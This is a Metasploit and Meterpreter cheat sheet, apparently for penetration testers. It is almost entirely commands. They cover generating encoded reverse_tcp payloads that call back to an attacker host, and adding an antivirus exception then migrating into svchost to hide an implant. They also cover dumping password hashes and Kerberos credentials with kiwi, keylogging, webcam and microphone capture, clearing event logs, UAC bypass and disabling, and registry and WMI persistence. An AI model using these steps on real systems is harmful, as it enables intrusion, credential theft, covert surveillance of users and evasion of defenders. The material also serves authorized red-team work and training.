Metasploit

Port Scan

use auxiliary/scanner/portscan/
tcp
set RHOSTS 10.10.10.0/24
run

DNS Enumeration

use auxiliary/gather/dns_enum
set DOMAIN target.tgt
run

Host FTP Server

use auxiliary/server/ftp
set FTPROOT /tmp/ftproot
run

Proxy Server

• Any proxied traffic that matches the subnet of a route will be routed through the session specified by route.

• Use proxychains configured for socks4 to route any application's traffic through a Meterpreter session.

#comprimised host has 10.10.120.20 ip want to proxy traffic through meterpreter
route add 10.10.120.0/24 4
use auxiliary/server/socks_proxy
set Version 4a
set SRVPORT 9050
run

msfvenom

• The msfvenom tool can be used to generate Metasploit payloads (such as Meterpreter) as standalone files and optionally encode them.

List Payloads

msfvenom -l payloads

Basic Examples

msfvenom -p windows/meterpreter/
reverse_tcp -f exe LHOST=10.1.1.1
LPORT=4444 > met.exe

Format Options

--help-formats #List available output formats
exe #Executable 
pl #Perl
rb #Ruby
raw #Raw Shellcode
c #C Code

Encoders

• See all encoders

msfvenom -l encoders

• Basic Example:

msfvenom -p windows/meterpreter/
reverse_tcp -i 5 -e x86/shikata_ga_nai -f
exe LHOST=10.1.1.1 LPORT=4444 > mal.exe

Meterpreter

• Core commands will be helpful to navigate and interact with the target system. Below are some of the most commonly used.

• Remember to check all available commands running the help command once a Meterpreter session has started.

Post Exploitation Modules Reference

• https://www.offensive-security.com/metasploit-unleashed/post-module-reference/

Core commands

• background: Backgrounds the current session

• exit: Terminate the Meterpreter session

• guid: Get the session GUID (Globally Unique Identifier)

• help: Displays the help menu

• info: Displays information about a Post module

• irb: Opens an interactive Ruby shell on the current session

• load: Loads one or more Meterpreter extensions

• migrate: Allows you to migrate Meterpreter to another process

• run: Executes a Meterpreter script or Post module

• sessions: Quickly switch to another session

File system commands

• cd: Will change directory

• ls: Will list files in the current directory (dir will also work)

• pwd: Prints the current working directory

• edit: will allow you to edit a file

• cat: Will show the contents of a file to the screen

• rm: Will delete the specified file

• search: Will search for files

• upload: Will upload a file or directory

• download: Will download a file or directory

Networking commands

• arp: Displays the host ARP (Address Resolution Protocol) cache

• ifconfig: Displays network interfaces available on the target system

• netstat: Displays the network connections

• portfwd: Forwards a local port to a remote service

• route: Allows you to view and modify the routing table

System commands

• clearev: Clears the event logs

• execute: Executes a command

• getpid: Shows the current process identifier

• getuid: Shows the user that Meterpreter is running as

• kill: Terminates a process

• pkill: Terminates processes by name

• ps: Lists running processes

• reboot: Reboots the remote computer

• shell: Drops into a system command shell

• shutdown: Shuts down the remote computer

• sysinfo: Gets information about the remote system, such as OS

Others Commands (these will be listed under different menu categories in the help menu)

• idletime: Returns the number of seconds the remote user has been idle

• keyscan_dump: Dumps the keystroke buffer

• keyscan_start: Starts capturing keystrokes

• keyscan_stop: Stops capturing keystrokes

• screenshare: Allows you to watch the remote user's desktop in real time

• screenshot: Grabs a screenshot of the interactive desktop

• record_mic: Records audio from the default microphone for X seconds

• webcam_chat: Starts a video chat

• webcam_list: Lists webcams

• webcam_snap: Takes a snapshot from the specified webcam

• webcam_stream: Plays a video stream from the specified webcam

• getsystem: Attempts to elevate your privilege to that of local system

• hashdump: Dumps the contents of the SAM database

Modules

Kiwi Commands

Command                Description
-------                -----------
creds_all              Retrieve all credentials (parsed)
creds_kerberos         Retrieve Kerberos creds (parsed)
creds_msv              Retrieve LM/NTLM creds (parsed)
creds_ssp              Retrieve SSP creds
creds_tspkg            Retrieve TsPkg creds (parsed)
creds_wdigest          Retrieve WDigest creds (parsed)
dcsync                 Retrieve user account information via DCSync (unparsed)
dcsync_ntlm            Retrieve user account NTLM hash, SID and RID via DCSync
golden_ticket_create   Create a golden kerberos ticket
kerberos_ticket_list   List all kerberos tickets (unparsed)
kerberos_ticket_purge  Purge any in-use kerberos tickets
kerberos_ticket_use    Use a kerberos ticket
kiwi_cmd               Execute an arbitary mimikatz command (unparsed)
lsa_dump_sam           Dump LSA SAM (unparsed)
lsa_dump_secrets       Dump LSA secrets (unparsed)
password_change        Change the password/hash of a user
wifi_list              List wifi profiles/creds for the current user
wifi_list_shared       List shared wifi profiles/creds (requires SYSTEM)

• Although all these commands may seem available under the help menu, they may not all work. For example, the target system might not have a webcam, or it can be running on a virtual machine without a proper desktop environment.

New Meterpreter Session Steps

• Assuming you gained access, inserted AV Path Exception, wrote implant to disk and executed to catch you callback

getuid #see your user context
getpid #identify pid you are running as (should be the pid of your msfvenom implant named whatever you assigned)
getprivs #see enabled process privileges
ps #view the whole process list and pick and svchost process within the same user context, get its pid number
migrate XXXX #to the pid of the svchost process 
getpid #confirm new pid
ps #ensure it is of the correct process 
del /path/to/implant #remove implant artifact from disk 

• Now you are set up and running as a thread in the address space of the svchost.exe process

Accessing the Filesystem

• Common commands include

• cd - change directory on the target

• cat - read and output to stdout the contents of a file

• del - delete a file on the target

• edit - edit a file with vim

• ls - list files in current directory

• mkdir - make a directory on the target system

• rmdir - remove directory on the target system

File collect with meterpreter

• download and upload commands

• Ensure you are escaping the windows ""

• Example:

download C:\\Users\\Administrator\\Desktop\\secret.txt

Harvest Credentials

• One way to try and harvest come credentials is with the hashdump module

run post/windows/gather/hashdump

• The output of each line is in the following format: Username:SID:LM hash:NTLM hash:::

• Note that the LM hash aad3b435b51404eeaad3b435b51404ee corresponds to an empty password as well as the NTLM hash 31d6cfe0d16ae931b73c59d7e0c089c0.
• another method that can yeild more credentials (especially on the domain controller) is:

run post/windows/gather/credentials/credential_collector 

Execute a program

• The execute command allows us to start remote processes

• execute flags

• -H Create the process hidden from view

• -a Arguments to pass to the command

• -i Interact with the process after creating it

• -m Execute from memory

• -t Execute process with currently impersonated thread token

• -s Execute process in a given session as the session user

• Regarding the last option -s, we can find out the available sessions by using the enumdesktops-command. The following example does that and then executes calc.exe on session 1:

enumdesktops 
Desktops
--------
    Session  Station Name
    1        WinSta0 Default
    1        WinSta0 Winlogon
meterpreter> execute -s 1 -f calc.exe

Post Modules for Windows Survey

meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24
-----------------------------------------------------------------------
meterpreter > run post/windows/gather/checkvm 
-----------------------------------------------------------------------
meterpreter > run post/windows/gather/credentials/credential_collector 
**ENSURE SYSTEM before running
-----------------------------------------------------------------------
**ENSURE you migrate to a user process before running dumplinks**
meterpreter > run post/windows/manage/migrate 
meterpreter > run post/windows/gather/dumplinks 
-----------------------------------------------------------------------
meterpreter > run post/windows/gather/enum_applications 
-----------------------------------------------------------------------
meterpreter > run post/windows/gather/enum_logged_on_users 
-----------------------------------------------------------------------
meterpreter > run post/windows/gather/enum_shares 
-----------------------------------------------------------------------
meterpreter > run post/windows/gather/enum_snmp
-----------------------------------------------------------------------
meterpreter > run post/windows/gather/hashdump
**ENSURE SYSTEM before running 
-----------------------------------------------------------------------
meterpreter > run post/windows/gather/usb_history 
-----------------------------------------------------------------------
msf > use post/multi/recon/local_exploit_suggester
set SESSION X
SHOWDESCRIPTION true
-----------------------------------------------------------------------
msf > use post/recon/outbound_ports

Winenum Windows Built In enumeration Script

• from your meterpreter prompt:

meterpreter> run winenum

• This will use net, netsh, and wmic commands to enumerate the target machine.

• Note: Each individual command in this script will have its output stored in the path output in the line starting with 'Output of each individual command is saved to '.

Clearing the Event Log

• from a meterpreter prompt

meterpreter> clearev

Meterpreter Extensions

kiwi module

load kiwi
help kiwi

Powershell Extension

meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS > 

Powershell Commands from Meterpreter

• run a powershell command as a "oneshot" from a meterpreter shell

execute -if powershell.exe -a "dir"
execute -if powershell.exe -a "net group"
execute -if powershell.exe -a 'net user /domain'

Metasploit imperssonate

Load incognito
list_tokens -g
impersonate_token "BUILTIN\Administrators"

Upgrade shell to meterpreter

use multi/manage/shell_to_meterpreter
set SESSION
set LHOST
set LPORT
run

Firefox Post Exploitation

use post/multi/gather/firefox_creds

• can be run as non Administrator or as Admin, registry information gets pulled as Admin

Routing

Set route

route add <subnet / host ip> <subnetmask> <session id>

Autoroute module

use multi/manage/autoroute

Run autoroute

run autoroute -s 10.100.11.0/24

Create port forward

Portfwd add -l <LOCAL PORT> -p <REMOTE PORT> -r <REMOTE HOST>

UAC Escalation

use exploit windows/local/bypassuac_windows_store_reg
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.10
set LPORT 8080
set SESSION 2
run

Change UAC to not Notify

• Need to be admin

#check registry key first 
Get-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
#look for:
ConsentPromptBehaviorAdmin
ConsentPromptBehaviorUser
#Change if it is set to 1 or 2
Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0

Disable LUA

• EnableLUA specifies whether Windows User Account Controls (UAC) notifies the user when programs try to make changes to the computer. UAC was formerly known as Limited User Account (LUA).

#check registry key first 
Get-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
#look for:
EnableLUA   1
#now set to 0 
Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name EnableLUA -Value 0
#will need to restart before changes are applied, thus ensure WMI Event Subscription Persistance or Registry is set up first

Persistance Modules

• Registry Run Key

use exploit/windows/registry/local/registry_persistence

• Ensure to set the RUN_NAME at a minimum

• WMI Event Subscription Persistance

use exploit/windows/local/wmi_persistence

• Ensure failed login auditing is enabled on target

• To enable:

auditpol.exe /set /subcategory:Logon /failure:Enable

• Event ID for a failed logon is 4625

• Ensure to set the USERNAME_TRIGGER and SESSION at a minimum

• Cannot be run as SYSTEM or USER needs to be run with ADMINISTRATOR